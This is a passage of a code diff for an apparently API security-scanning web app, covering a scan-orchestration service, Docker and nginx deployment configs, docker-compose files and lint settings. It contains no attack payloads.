status_code = status.HTTP_401_UNAUTHORIZED,
|
||||
detail = "Invalid email or password",
|
||||
)
|
||||
|
||||
if not verify_password(login_data.password,
|
||||
user.hashed_password):
|
||||
raise HTTPException(
|
||||
status_code = status.HTTP_401_UNAUTHORIZED,
|
||||
detail = "Invalid email or password",
|
||||
)
|
||||
|
||||
if not user.is_active:
|
||||
raise HTTPException(
|
||||
status_code = status.HTTP_403_FORBIDDEN,
|
||||
detail = "Account is inactive",
|
||||
)
|
||||
|
||||
access_token = create_access_token(
|
||||
data = {"sub": user.email},
|
||||
expires_delta = timedelta(
|
||||
minutes = settings.ACCESS_TOKEN_EXPIRE_MINUTES
|
||||
),
|
||||
)
|
||||
|
||||
return TokenResponse(
|
||||
access_token = access_token,
|
||||
token_type = "bearer"
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def get_user_by_email(
|
||||
db: Session,
|
||||
email: str
|
||||
) -> UserResponse | None:
|
||||
"""
|
||||
Get user by email address
|
||||
|
||||
Args:
|
||||
db: Database session
|
||||
email: User email
|
||||
|
||||
Returns:
|
||||
UserResponse | None: User data or None if not found
|
||||
"""
|
||||
user = UserRepository.get_by_email(db, email)
|
||||
if user:
|
||||
return UserResponse.model_validate(user)
|
||||
return None
|
||||
|
|
@ -0,0 +1,194 @@
|
|||
"""
|
||||
©AngelaMos | 2025
|
||||
Coordinates scanners and saves results
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from sqlalchemy.orm import Session
|
||||
from fastapi import HTTPException, status
|
||||
|
||||
from ..core.enums import TestType
|
||||
from ..repositories.scan_repository import ScanRepository
|
||||
from ..repositories.test_result_repository import TestResultRepository
|
||||
|
||||
from ..scanners.auth_scanner import AuthScanner
|
||||
from ..scanners.idor_scanner import IDORScanner
|
||||
from ..scanners.sqli_scanner import SQLiScanner
|
||||
from ..scanners.rate_limit_scanner import RateLimitScanner
|
||||
from ..schemas.test_result_schemas import TestResultCreate
|
||||
from ..schemas.scan_schemas import ScanRequest, ScanResponse
|
||||
|
||||
|
||||
class ScanService:
|
||||
"""
|
||||
Orchestrates security scanning workflow
|
||||
"""
|
||||
@staticmethod
|
||||
def run_scan(
|
||||
db: Session,
|
||||
user_id: int,
|
||||
scan_request: ScanRequest
|
||||
) -> ScanResponse:
|
||||
"""
|
||||
Execute security scan with selected tests
|
||||
|
||||
Args:
|
||||
db: Database session
|
||||
user_id: User ID initiating the scan
|
||||
scan_request: Scan configuration and tests to run
|
||||
|
||||
Returns:
|
||||
ScanResponse: Scan results with all test outcomes
|
||||
"""
|
||||
scan = ScanRepository.create_scan(
|
||||
db = db,
|
||||
user_id = user_id,
|
||||
target_url = str(scan_request.target_url),
|
||||
)
|
||||
|
||||
scanner_mapping = {
|
||||
TestType.RATE_LIMIT: RateLimitScanner,
|
||||
TestType.AUTH: AuthScanner,
|
||||
TestType.SQLI: SQLiScanner,
|
||||
TestType.IDOR: IDORScanner,
|
||||
}
|
||||
|
||||
results: list[TestResultCreate] = []
|
||||
|
||||
for test_type in scan_request.tests_to_run:
|
||||
scanner_class = scanner_mapping.get(test_type)
|
||||
|
||||
if not scanner_class:
|
||||
continue
|
||||
|
||||
try:
|
||||
scanner = scanner_class(
|
||||
target_url = str(scan_request.target_url),
|
||||
auth_token = scan_request.auth_token,
|
||||
max_requests = scan_request.max_requests,
|
||||
)
|
||||
|
||||
result = scanner.scan()
|
||||
results.append(result)
|
||||
|
||||
except Exception as e:
|
||||
results.append(
|
||||
TestResultCreate(
|
||||
test_name = test_type,
|
||||
status = "error",
|
||||
severity = "info",
|
||||
details = f"Scanner error: {str(e)}",
|
||||
evidence_json = {"error": str(e)},
|
||||
recommendations_json = [
|
||||
"Check target URL is accessible",
|
||||
"Verify authentication token if provided",
|
||||
],
|
||||
)
|
||||
)
|
||||
|
||||
for result in results:
|
||||
TestResultRepository.create_test_result(
|
||||
db = db,
|
||||
scan_id = scan.id,
|
||||
test_name = result.test_name,
|
||||
status = result.status,
|
||||
severity = result.severity,
|
||||
details = result.details,
|
||||
evidence_json = result.evidence_json,
|
||||
recommendations_json = result.recommendations_json,
|
||||
)
|
||||
|
||||
db.refresh(scan)
|
||||
|
||||
return ScanResponse.model_validate(scan)
|
||||
|
||||
@staticmethod
|
||||
def get_scan_by_id(
|
||||
db: Session,
|
||||
scan_id: int,
|
||||
user_id: int
|
||||
) -> ScanResponse:
|
||||
"""
|
||||
Get scan by ID with authorization check
|
||||
|
||||
Args:
|
||||
db: Database session
|
||||
scan_id: Scan ID to retrieve
|
||||
user_id: User ID for authorization
|
||||
|
||||
Returns:
|
||||
ScanResponse: Scan data with results
|
||||
"""
|
||||
scan = ScanRepository.get_by_id(db, scan_id)
|
||||
|
||||
if not scan:
|
||||
raise HTTPException(
|
||||
status_code = status.HTTP_404_NOT_FOUND,
|
||||
detail = "Scan not found",
|
||||
)
|
||||
|
||||
if scan.user_id != user_id:
|
||||
raise HTTPException(
|
||||
status_code = status.HTTP_403_FORBIDDEN,
|
||||
detail = "Not authorized to access this scan",
|
||||
)
|
||||
|
||||
return ScanResponse.model_validate(scan)
|
||||
|
||||
@staticmethod
|
||||
def get_user_scans(
|
||||
db: Session,
|
||||
user_id: int,
|
||||
skip: int = 0,
|
||||
limit: int | None = None
|
||||
) -> list[ScanResponse]:
|
||||
"""
|
||||
Get all scans for a user with pagination
|
||||
|
||||
Args:
|
||||
db: Database session
|
||||
user_id: User ID
|
||||
skip: Number of records to skip
|
||||
limit: Maximum number of records to return
|
||||
|
||||
Returns:
|
||||
list[ScanResponse]: List of user's scans
|
||||
"""
|
||||
scans = ScanRepository.get_by_user(
|
||||
db = db,
|
||||
user_id = user_id,
|
||||
skip = skip,
|
||||
limit = limit
|
||||
)
|
||||
|
||||
return [ScanResponse.model_validate(scan) for scan in scans]
|
||||
|
||||
@staticmethod
|
||||
def delete_scan(db: Session, scan_id: int, user_id: int) -> bool:
|
||||
"""
|
||||
Delete scan with authorization check
|
||||
|
||||
Args:
|
||||
db: Database session
|
||||
scan_id: Scan ID to delete
|
||||
user_id: User ID for authorization
|
||||
|
||||
Returns:
|
||||
bool: True if deleted successfully
|
||||
"""
|
||||
scan = ScanRepository.get_by_id(db, scan_id)
|
||||
|
||||
if not scan:
|
||||
raise HTTPException(
|
||||
status_code = status.HTTP_404_NOT_FOUND,
|
||||
detail = "Scan not found",
|
||||
)
|
||||
|
||||
if scan.user_id != user_id:
|
||||
raise HTTPException(
|
||||
status_code = status.HTTP_403_FORBIDDEN,
|
||||
detail = "Not authorized to delete this scan",
|
||||
)
|
||||
|
||||
return ScanRepository.delete(db, scan_id)
|
||||
|
|
@ -0,0 +1,34 @@
|
|||
# ⒸAngelaMos | 2025
|
||||
# Development FastAPI Dockerfile
|
||||
|
||||
FROM python:3.11-slim
|
||||
|
||||
# Set environment variables
|
||||
ENV PYTHONUNBUFFERED=1 \
|
||||
PYTHONDONTWRITEBYTECODE=1 \
|
||||
PIP_NO_CACHE_DIR=1 \
|
||||
PIP_DISABLE_PIP_VERSION_CHECK=1
|
||||
|
||||
# Set working directory
|
||||
WORKDIR /app
|
||||
|
||||
# Install system dependencies
|
||||
RUN apt-get update && apt-get install -y --no-install-recommends \
|
||||
gcc \
|
||||
postgresql-client \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# Copy only requirements first (for layer caching)
|
||||
COPY backend/requirements.txt .
|
||||
|
||||
# Install Python dependencies
|
||||
RUN pip install --no-cache-dir -r requirements.txt
|
||||
|
||||
# Copy application code
|
||||
COPY backend/ .
|
||||
|
||||
# Expose port
|
||||
EXPOSE 8000
|
||||
|
||||
# Run with uvicorn hot reload
|
||||
CMD ["uvicorn", "main:app", "--host", "0.0.0.0", "--port", "8000", "--reload"]
|
||||
|
|
@ -0,0 +1,24 @@
|
|||
# ⒸAngelaMos | 2025
|
||||
# Development Vite Dockerfile
|
||||
# Runs Vite dev server with HMR (Hot Module Replacement)
|
||||
# Uses volume mounts for code (defined in docker-compose.dev.yml)
|
||||
|
||||
FROM node:20-alpine
|
||||
|
||||
# Set working directory
|
||||
WORKDIR /app
|
||||
|
||||
# Copy package files first (for layer caching)
|
||||
COPY frontend/package*.json ./
|
||||
|
||||
# Install dependencies
|
||||
RUN npm ci
|
||||
|
||||
# Copy application code (in dev this is overridden by volume mount)
|
||||
COPY frontend/ .
|
||||
|
||||
# Expose port
|
||||
EXPOSE 5173
|
||||
|
||||
# Run Vite dev server with --host to allow external connections
|
||||
CMD ["npm", "run", "dev", "--", "--host", "0.0.0.0"]
|
||||
|
|
@ -0,0 +1,48 @@
|
|||
# ⒸAngelaMos | 2025
|
||||
# Production FastAPI Dockerfile
|
||||
# Optimized for performance with gunicorn multi-worker setup
|
||||
# No hot reload, built image (no volume mounts)
|
||||
|
||||
FROM python:3.11-slim
|
||||
|
||||
# Set environment variables
|
||||
ENV PYTHONUNBUFFERED=1 \
|
||||
PYTHONDONTWRITEBYTECODE=1 \
|
||||
PIP_NO_CACHE_DIR=1 \
|
||||
PIP_DISABLE_PIP_VERSION_CHECK=1
|
||||
|
||||
# Set working directory
|
||||
WORKDIR /app
|
||||
|
||||
# Install system dependencies
|
||||
RUN apt-get update && apt-get install -y --no-install-recommends \
|
||||
gcc \
|
||||
postgresql-client \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# Copy only requirements first (for layer caching)
|
||||
COPY backend/requirements.txt .
|
||||
|
||||
# Install Python dependencies
|
||||
RUN pip install --no-cache-dir -r requirements.txt
|
||||
|
||||
# Install gunicorn for production
|
||||
RUN pip install --no-cache-dir gunicorn
|
||||
|
||||
# Copy application code
|
||||
COPY backend/ .
|
||||
|
||||
# Create non-root user for security
|
||||
RUN useradd -m -u 1000 appuser && chown -R appuser:appuser /app
|
||||
USER appuser
|
||||
|
||||
# Expose port
|
||||
EXPOSE 8000
|
||||
|
||||
# Run with gunicorn (4 workers, uvicorn worker class for async support)
|
||||
CMD ["gunicorn", "main:app", \
|
||||
"--workers", "4", \
|
||||
"--worker-class", "uvicorn.workers.UvicornWorker", \
|
||||
"--bind", "0.0.0.0:8000", \
|
||||
"--access-logfile", "-", \
|
||||
"--error-logfile", "-"]
|
||||
|
|
@ -0,0 +1,44 @@
|
|||
# ⒸAngelaMos | 2025
|
||||
# Production Vite Dockerfile (Multi-stage build)
|
||||
# Stage 1: Build the React app with Vite
|
||||
# Stage 2: Serve static files with Nginx
|
||||
|
||||
# ===================================
|
||||
# Stage 1: Build
|
||||
# ===================================
|
||||
FROM node:20-alpine AS builder
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
# Copy package files
|
||||
COPY frontend/package*.json ./
|
||||
|
||||
# Install dependencies
|
||||
RUN npm ci --only=production
|
||||
|
||||
# Copy source code
|
||||
COPY frontend/ .
|
||||
|
||||
# Build the app (creates dist/ folder with static files)
|
||||
RUN npm run build
|
||||
|
||||
# ===================================
|
||||
# Stage 2: Serve with Nginx
|
||||
# ===================================
|
||||
FROM nginx:alpine
|
||||
|
||||
# Copy built static files from builder stage
|
||||
COPY --from=builder /app/dist /usr/share/nginx/html
|
||||
|
||||
# Copy custom nginx configuration
|
||||
COPY conf/nginx/prod.nginx /etc/nginx/nginx.conf
|
||||
|
||||
# Expose port
|
||||
EXPOSE 80
|
||||
|
||||
# Health check
|
||||
HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \
|
||||
CMD wget --quiet --tries=1 --spider http://localhost/health || exit 1
|
||||
|
||||
# Start nginx
|
||||
CMD ["nginx", "-g", "daemon off;"]
|
||||
|
|
@ -0,0 +1,61 @@
|
|||
# ⒸAngelaMos | 2025
|
||||
# Development Nginx Configuration
|
||||
# Features:
|
||||
# - Proxies to Vite dev server (with HMR/WebSocket support)
|
||||
# - Proxies /api to FastAPI backend
|
||||
# - No caching, no SSL
|
||||
|
||||
events {
|
||||
worker_connections 1024;
|
||||
}
|
||||
|
||||
http {
|
||||
# Include shared config
|
||||
include /etc/nginx/http.conf;
|
||||
|
||||
# Disable access logs in dev (less noise)
|
||||
access_log off;
|
||||
error_log /var/log/nginx/error.log warn;
|
||||
|
||||
server {
|
||||
listen 80;
|
||||
server_name localhost;
|
||||
|
||||
# Client max body size (for file uploads in scans)
|
||||
client_max_body_size 10M;
|
||||
|
||||
# Backend API routes
|
||||
location /api/ {
|
||||
proxy_pass http://backend:8000/;
|
||||
|
||||
# Apply common proxy settings
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Upgrade $http_upgrade;
|
||||
proxy_set_header Connection 'upgrade';
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
proxy_cache_bypass $http_upgrade;
|
||||
}
|
||||
|
||||
# Frontend (Vite dev server with HMR)
|
||||
location / {
|
||||
proxy_pass http://frontend;
|
||||
|
||||
# WebSocket support for Vite HMR
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Upgrade $http_upgrade;
|
||||
proxy_set_header Connection 'upgrade';
|
||||
proxy_set_header Host $host;
|
||||
proxy_cache_bypass $http_upgrade;
|
||||
}
|
||||
|
||||
# Health check endpoint
|
||||
location /health {
|
||||
access_log off;
|
||||
return 200 "healthy\n";
|
||||
add_header Content-Type text/plain;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,28 @@
|
|||
# ⒸAngelaMos | 2025
|
||||
# Shared HTTP configuration for both dev and prod
|
||||
# This file contains common settings used by dev.nginx and prod.nginx
|
||||
|
||||
# Upstream backend (FastAPI)
|
||||
upstream backend {
|
||||
server backend:8000;
|
||||
}
|
||||
|
||||
# Upstream frontend (Vite dev server in dev, static files in prod)
|
||||
upstream frontend {
|
||||
server frontend:5173;
|
||||
}
|
||||
|
||||
# Common proxy settings
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Upgrade $http_upgrade;
|
||||
proxy_set_header Connection 'upgrade';
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
proxy_cache_bypass $http_upgrade;
|
||||
|
||||
# Timeouts
|
||||
proxy_connect_timeout 60s;
|
||||
proxy_send_timeout 60s;
|
||||
proxy_read_timeout 60s;
|
||||
|
|
@ -0,0 +1,136 @@
|
|||
# ⒸAngelaMos | 2025
|
||||
# Production Nginx Configuration
|
||||
# Features:
|
||||
# - Serves static frontend files from /usr/share/nginx/html
|
||||
# - Proxies /api to FastAPI backend
|
||||
# - Caching, gzip compression, security headers
|
||||
# - SSL/HTTPS ready (commented out, uncomment when you have certificates)
|
||||
|
||||
events {
|
||||
worker_connections 2048;
|
||||
}
|
||||
|
||||
http {
|
||||
# Include shared config
|
||||
include /etc/nginx/http.conf;
|
||||
include /etc/nginx/mime.types;
|
||||
default_type application/octet-stream;
|
||||
|
||||
# Logging
|
||||
access_log /var/log/nginx/access.log;
|
||||
error_log /var/log/nginx/error.log warn;
|
||||
|
||||
# Performance optimizations
|
||||
sendfile on;
|
||||
tcp_nopush on;
|
||||
tcp_nodelay on;
|
||||
keepalive_timeout 65;
|
||||
types_hash_max_size 2048;
|
||||
|
||||
# Gzip compression
|
||||
gzip on;
|
||||
gzip_vary on;
|
||||
gzip_min_length 1000;
|
||||
gzip_comp_level 6;
|
||||
gzip_types
|
||||
text/plain
|
||||
text/css
|
||||
text/xml
|
||||
text/javascript
|
||||
application/json
|
||||
application/javascript
|
||||
application/xml+rss
|
||||
application/rss+xml
|
||||
font/truetype
|
||||
font/opentype
|
||||
application/vnd.ms-fontobject
|
||||
image/svg+xml;
|
||||
|
||||
# HTTP server (will redirect to HTTPS in production)
|
||||
server {
|
||||
listen 80;
|
||||
server_name localhost;
|
||||
|
||||
# Uncomment below to redirect HTTP to HTTPS in production
|
||||
# return 301 https://$server_name$request_uri;
|
||||
|
||||
# Client max body size
|
||||
client_max_body_size 10M;
|
||||
|
||||
# Security headers
|
||||
add_header X-Frame-Options "SAMEORIGIN" always;
|
||||
add_header X-Content-Type-Options "nosniff" always;
|
||||
add_header X-XSS-Protection "1; mode=block" always;
|
||||
add_header Referrer-Policy "no-referrer-when-downgrade" always;
|
||||
|
||||
# Backend API routes
|
||||
location /api {
|
||||
proxy_pass http://backend;
|
||||
|
||||
# Apply common proxy settings
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Upgrade $http_upgrade;
|
||||
proxy_set_header Connection 'upgrade';
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
proxy_cache_bypass $http_upgrade;
|
||||
|
||||
# Timeouts for API requests
|
||||
proxy_connect_timeout 60s;
|
||||
proxy_send_timeout 60s;
|
||||
proxy_read_timeout 60s;
|
||||
}
|
||||
|
||||
# Serve static frontend files
|
||||
location / {
|
||||
root /usr/share/nginx/html;
|
||||
try_files $uri $uri/ /index.html;
|
||||
|
||||
# Cache static assets
|
||||
location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg|woff|woff2|ttf|eot)$ {
|
||||
expires 1y;
|
||||
add_header Cache-Control "public, immutable";
|
||||
}
|
||||
|
||||
# Don't cache index.html
|
||||
location = /index.html {
|
||||
add_header Cache-Control "no-cache, no-store, must-revalidate";
|
||||
}
|
||||
}
|
||||
|
||||
# Health check endpoint
|
||||
location /health {
|
||||
access_log off;
|
||||
return 200 "healthy\n";
|
||||
add_header Content-Type text/plain;
|
||||
}
|
||||
}
|
||||
|
||||
# HTTPS server (uncomment and configure when you have SSL certificates)
|
||||
# server {
|
||||
# listen 443 ssl http2;
|
||||
# server_name yourdomain.com;
|
||||
#
|
||||
# # SSL certificates (use Let's Encrypt or similar)
|
||||
# ssl_certificate /etc/nginx/ssl/cert.pem;
|
||||
# ssl_certificate_key /etc/nginx/ssl/key.pem;
|
||||
#
|
||||
# # SSL configuration
|
||||
# ssl_protocols TLSv1.2 TLSv1.3;
|
||||
# ssl_ciphers HIGH:!aNULL:!MD5;
|
||||
# ssl_prefer_server_ciphers on;
|
||||
# ssl_session_cache shared:SSL:10m;
|
||||
# ssl_session_timeout 10m;
|
||||
#
|
||||
# # Security headers
|
||||
# add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
|
||||
# add_header X-Frame-Options "SAMEORIGIN" always;
|
||||
# add_header X-Content-Type-Options "nosniff" always;
|
||||
# add_header X-XSS-Protection "1; mode=block" always;
|
||||
#
|
||||
# # Same location blocks as HTTP server above
|
||||
# # ...
|
||||
# }
|
||||
}
|
||||
|
|
@ -0,0 +1,88 @@
|
|||
# ⒸAngelaMos | 2025
|
||||
|
||||
services:
|
||||
# PostgreSQL Database
|
||||
db:
|
||||
image: postgres:16-alpine
|
||||
container_name: apisec_db_dev
|
||||
environment:
|
||||
POSTGRES_USER: ${POSTGRES_USER:-apiuser}
|
||||
POSTGRES_PASSWORD: ${POSTGRES_PASSWORD:-apipass}
|
||||
POSTGRES_DB: ${POSTGRES_DB:-apisecurity}
|
||||
ports:
|
||||
- "${HOST_DB_PORT:-5432}:5432"
|
||||
volumes:
|
||||
- postgres_data_dev:/var/lib/postgresql/data
|
||||
healthcheck:
|
||||
test: ["CMD-SHELL", "pg_isready -U ${POSTGRES_USER:-apiuser}"]
|
||||
interval: 10s
|
||||
timeout: 5s
|
||||
retries: 5
|
||||
networks:
|
||||
- apisec_network
|
||||
|
||||
# FastAPI Backend
|
||||
backend:
|
||||
build:
|
||||
context: .
|
||||
dockerfile: conf/docker/dev/fastapi.docker
|
||||
container_name: apisec_backend_dev
|
||||
environment:
|
||||
DATABASE_URL: postgresql://${POSTGRES_USER:-apiuser}:${POSTGRES_PASSWORD:-apipass}@db:5432/${POSTGRES_DB:-apisecurity}
|
||||
SECRET_KEY: ${SECRET_KEY:-dev-secret-key-change-this}
|
||||
DEBUG: "true"
|
||||
BACKEND_HOST: ${BACKEND_HOST:-0.0.0.0}
|
||||
BACKEND_PORT: ${BACKEND_PORT:-8000}
|
||||
CORS_ORIGINS: ${CORS_ORIGINS:-http://localhost:5173,http://localhost:3000,http://localhost}
|
||||
ports:
|
||||
- "${HOST_BACKEND_PORT:-8000}:8000"
|
||||
volumes:
|
||||
- ./backend:/app
|
||||
depends_on:
|
||||
db:
|
||||
condition: service_healthy
|
||||
networks:
|
||||
- apisec_network
|
||||
restart: unless-stopped
|
||||
|
||||
# React Frontend (Development with Vite HMR)
|
||||
frontend:
|
||||
build:
|
||||
context: .
|
||||
dockerfile: conf/docker/dev/vite.docker
|
||||
container_name: apisec_frontend_dev
|
||||
environment:
|
||||
VITE_API_URL: ${VITE_API_URL:-http://localhost:8000}
|
||||
ports:
|
||||
- "${HOST_FRONTEND_PORT:-5173}:5173"
|
||||
volumes:
|
||||
- ./frontend:/app
|
||||
- /app/node_modules
|
||||
networks:
|
||||
- apisec_network
|
||||
restart: unless-stopped
|
||||
|
||||
# Nginx Reverse Proxy
|
||||
nginx:
|
||||
image: nginx:alpine
|
||||
container_name: apisec_nginx_dev
|
||||
ports:
|
||||
- "${HOST_NGINX_PORT:-80}:80"
|
||||
volumes:
|
||||
- ./conf/nginx/dev.nginx:/etc/nginx/nginx.conf:ro
|
||||
- ./conf/nginx/http.conf:/etc/nginx/http.conf:ro
|
||||
depends_on:
|
||||
- backend
|
||||
- frontend
|
||||
networks:
|
||||
- apisec_network
|
||||
restart: unless-stopped
|
||||
|
||||
volumes:
|
||||
postgres_data_dev:
|
||||
name: apisec_postgres_data_dev
|
||||
|
||||
networks:
|
||||
apisec_network:
|
||||
name: apisec_network_dev
|
||||
driver: bridge
|
||||
|
|
@ -0,0 +1,80 @@
|
|||
# ⒸAngelaMos | 2025
|
||||
|
||||
services:
|
||||
# PostgreSQL Database
|
||||
db:
|
||||
image: postgres:16-alpine
|
||||
container_name: apisec_db_prod
|
||||
environment:
|
||||
POSTGRES_USER: ${POSTGRES_USER:-apiuser}
|
||||
POSTGRES_PASSWORD: ${POSTGRES_PASSWORD:-apipass}
|
||||
POSTGRES_DB: ${POSTGRES_DB:-apisecurity}
|
||||
# Uncomment to expose DB port (not recommended for production)
|
||||
# ports:
|
||||
# - "${HOST_DB_PORT:-5432}:5432"
|
||||
volumes:
|
||||
- postgres_data_prod:/var/lib/postgresql/data
|
||||
healthcheck:
|
||||
test: ["CMD-SHELL", "pg_isready -U ${POSTGRES_USER:-apiuser}"]
|
||||
interval: 10s
|
||||
timeout: 5s
|
||||
retries: 5
|
||||
networks:
|
||||
- apisec_network
|
||||
restart: always
|
||||
|
||||
# FastAPI Backend (Production with Gunicorn)
|
||||
backend:
|
||||
build:
|
||||
context: .
|
||||
dockerfile: conf/docker/prod/fastapi.docker
|
||||
container_name: apisec_backend_prod
|
||||
environment:
|
||||
DATABASE_URL: postgresql://${POSTGRES_USER:-apiuser}:${POSTGRES_PASSWORD:-apipass}@db:5432/${POSTGRES_DB:-apisecurity}
|
||||
SECRET_KEY: ${SECRET_KEY}
|
||||
DEBUG: "false"
|
||||
BACKEND_HOST: ${BACKEND_HOST:-0.0.0.0}
|
||||
BACKEND_PORT: ${BACKEND_PORT:-8000}
|
||||
CORS_ORIGINS: ${CORS_ORIGINS:-https://yourdomain.com}
|
||||
expose:
|
||||
- "8000"
|
||||
depends_on:
|
||||
db:
|
||||
condition: service_healthy
|
||||
networks:
|
||||
- apisec_network
|
||||
restart: always
|
||||
healthcheck:
|
||||
test: ["CMD", "curl", "-f", "http://localhost:8000/"]
|
||||
interval: 30s
|
||||
timeout: 10s
|
||||
retries: 3
|
||||
start_period: 40s
|
||||
|
||||
# Frontend (Production - Nginx serving static files)
|
||||
frontend:
|
||||
build:
|
||||
context: .
|
||||
dockerfile: conf/docker/prod/vite.docker
|
||||
container_name: apisec_frontend_prod
|
||||
ports:
|
||||
- "${HOST_NGINX_PORT:-80}:80"
|
||||
# Uncomment for HTTPS:
|
||||
# - "${HOST_NGINX_HTTPS_PORT:-443}:443"
|
||||
depends_on:
|
||||
- backend
|
||||
networks:
|
||||
- apisec_network
|
||||
restart: always
|
||||
# Optional: Mount SSL certificates for HTTPS
|
||||
# volumes:
|
||||
# - ./ssl:/etc/nginx/ssl:ro
|
||||
|
||||
volumes:
|
||||
postgres_data_prod:
|
||||
name: apisec_postgres_data_prod
|
||||
|
||||
networks:
|
||||
apisec_network:
|
||||
name: apisec_network_prod
|
||||
driver: bridge
|
||||
|
|
@ -0,0 +1,24 @@
|
|||
# Logs
|
||||
logs
|
||||
*.log
|
||||
npm-debug.log*
|
||||
yarn-debug.log*
|
||||
yarn-error.log*
|
||||
pnpm-debug.log*
|
||||
lerna-debug.log*
|
||||
|
||||
node_modules
|
||||
dist
|
||||
dist-ssr
|
||||
*.local
|
||||
|
||||
# Editor directories and files
|
||||
.vscode/*
|
||||
!.vscode/extensions.json
|
||||
.idea
|
||||
.DS_Store
|
||||
*.suo
|
||||
*.ntvs*
|
||||
*.njsproj
|
||||
*.sln
|
||||
*.sw?
|
||||
|
|
@ -0,0 +1,122 @@
|
|||
// ===================
|
||||
// © AngelaMos | 2025
|
||||
// eslint.config.js
|
||||
// ===================
|
||||
import js from '@eslint/js';
|
||||
import tseslint from 'typescript-eslint';
|
||||
import react from 'eslint-plugin-react';
|
||||
import reactHooks from 'eslint-plugin-react-hooks';
|
||||
import reactRefresh from 'eslint-plugin-react-refresh';
|
||||
import jsxA11y from 'eslint-plugin-jsx-a11y';
|
||||
import prettierConfig from 'eslint-config-prettier';
|
||||
import globals from 'globals';
|
||||
|
||||
export default tseslint.config(
|
||||
{
|
||||
ignores: ['dist', 'vite.config.ts', '*.min.js', 'eslint.config.js'],
|
||||
},
|
||||
|
||||
js.configs.recommended,
|
||||
|
||||
...tseslint.configs.strictTypeChecked,
|
||||
...tseslint.configs.stylisticTypeChecked,
|
||||
|
||||
{
|
||||
files: ['**/*.{ts,tsx}'],
|
||||
plugins: {
|
||||
react,
|
||||
'react-hooks': reactHooks,
|
||||
'react-refresh': reactRefresh,
|
||||
'jsx-a11y': jsxA11y,
|
||||
},
|
||||
languageOptions: {
|
||||
parser: tseslint.parser,
|
||||
parserOptions: {
|
||||
project: ['./tsconfig.app.json', './tsconfig.node.json'],
|
||||
tsconfigRootDir: import.meta.dirname,
|
||||
ecmaFeatures: { jsx: true },
|
||||
},
|
||||
globals: {
|
||||
...globals.browser,
|
||||
...globals.node,
|
||||
},
|
||||
},
|
||||
settings: {
|
||||
react: {
|
||||
version: 'detect',
|
||||
},
|
||||
},
|
||||
rules: {
|
||||
'@typescript-eslint/no-unused-vars': ['error', { argsIgnorePattern: '^_', varsIgnorePattern: '^_', caughtErrorsIgnorePattern: '^_' }],
|
||||
'@typescript-eslint/consistent-type-imports': ['error', { prefer: 'type-imports', fixStyle: 'inline-type-imports' }],
|
||||
'@typescript-eslint/explicit-function-return-type': ['error', {
|
||||
allowExpressions: true,
|
||||
allowTypedFunctionExpressions: true,
|
||||
allowHigherOrderFunctions: true,
|
||||
allowDirectConstAssertionInArrowFunctions: true,
|
||||
allowedNames: ['Component']
|
||||
}],
|
||||
'@typescript-eslint/naming-convention': 'off',
|
||||
'@typescript-eslint/no-non-null-assertion': 'error',
|
||||
'@typescript-eslint/array-type': ['error', { default: 'array' }],
|
||||
'@typescript-eslint/no-explicit-any': 'error',
|
||||
'@typescript-eslint/no-confusing-void-expression': 'off',
|
||||
'@typescript-eslint/no-unnecessary-condition': 'off',
|
||||
'@typescript-eslint/no-floating-promises': 'error',
|
||||
'@typescript-eslint/strict-boolean-expressions': ['error', {
|
||||
allowString: false,
|
||||
allowNumber: false,
|
||||
allowNullableObject: false,
|
||||
allowNullableString: true,
|
||||
allowAny: true
|
||||
}],
|
||||
|
||||
'@typescript-eslint/prefer-as-const': 'error',
|
||||
'@typescript-eslint/consistent-type-definitions': ['error', 'interface'],
|
||||
|
||||
'react/prop-types': 'off',
|
||||
'react/jsx-uses-react': 'off',
|
||||
'react/react-in-jsx-scope': 'off',
|
||||
'react/jsx-no-leaked-render': ['error', { validStrategies: ['ternary'] }],
|
||||
'react/jsx-key': ['error', { checkFragmentShorthand: true, checkKeyMustBeforeSpread: true, warnOnDuplicates: true }],
|
||||
'react/jsx-no-useless-fragment': ['error', { allowExpressions: false }],
|
||||
'react/jsx-pascal-case': ['error', { allowAllCaps: false }],
|
||||
'react/no-array-index-key': 'warn',
|
||||
'react/no-unstable-nested-components': 'error',
|
||||
|
||||
'react-hooks/rules-of-hooks': 'error',
|
||||
'react-hooks/exhaustive-deps': 'warn',
|
||||
|
||||
'react-refresh/only-export-components': [
|
||||
'warn',
|
||||
{ allowConstantExport: true },
|
||||
],
|
||||
|
||||
'jsx-a11y/alt-text': 'error',
|
||||
'jsx-a11y/anchor-has-content': 'error',
|
||||
'jsx-a11y/click-events-have-key-events': 'error',
|
||||
'jsx-a11y/no-static-element-interactions': 'error',
|
||||
|
||||
'no-console': ['warn', { allow: ['warn', 'error'] }],
|
||||
'no-debugger': 'error',
|
||||
'no-alert': 'error',
|
||||
'no-var': 'error',
|
||||
'prefer-const': 'error',
|
||||
'prefer-template': 'error',
|
||||
'object-shorthand': 'error',
|
||||
'no-nested-ternary': 'error',
|
||||
'max-depth': ['error', 6],
|
||||
'max-lines': ['error', { max: 2000, skipBlankLines: true, skipComments: true }],
|
||||
'complexity': ['error', 55],
|
||||
},
|
||||
},
|
||||
|
||||
{
|
||||
files: ['src/main.tsx'],
|
||||
